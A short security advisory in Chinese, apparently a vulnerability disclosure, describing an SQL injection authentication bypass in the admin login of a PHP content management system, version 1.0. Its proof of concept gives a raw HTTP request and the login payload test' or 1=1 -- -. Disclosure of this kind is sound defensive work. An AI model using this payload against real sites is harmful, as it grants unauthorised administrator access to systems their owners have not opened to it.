SQL 注入认证绕过 - 简单内容管理系统 PHP

描述

简单内容管理系统 PHP 的管理员登录页面存在 SQL 注入漏洞。user 参数在传入 SQL 查询之前未经过净化处理，允许未经认证的攻击者绕过认证并获得完整的管理员访问权限。

漏洞详情

• 类型： SQL 注入（CWE-89）
• 影响： 认证绕过，可获得完整的管理员访问权限
• 受影响文件： /web/admin/login.php
• 受影响参数： user
• 攻击向量： 远程，未经认证 严重性： 严重

厂商

code-projects.org

产品

简单内容管理系统 PHP

版本

1.0

概念验证（PoC）

步骤 1 - 在 burp 中发送以下请求：

POST /web/admin/login.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded

user=test'+or+1%3D1+--+-&password=test&submit=Login

或者直接在登录页面中添加

步骤 2 - 使用载荷的登录表单：

test' or 1=1 -- -

步骤 3 - 获得管理员面板访问权限：

影响

未经认证的远程攻击者可以在不知道任何凭据的情况下完全绕过管理员登录，获得对管理员面板的完全控制权，包括添加内容。

作者

Imad Alvi

参考

https://code-projects.org/simple-content-management-system-in-php-with-source-code/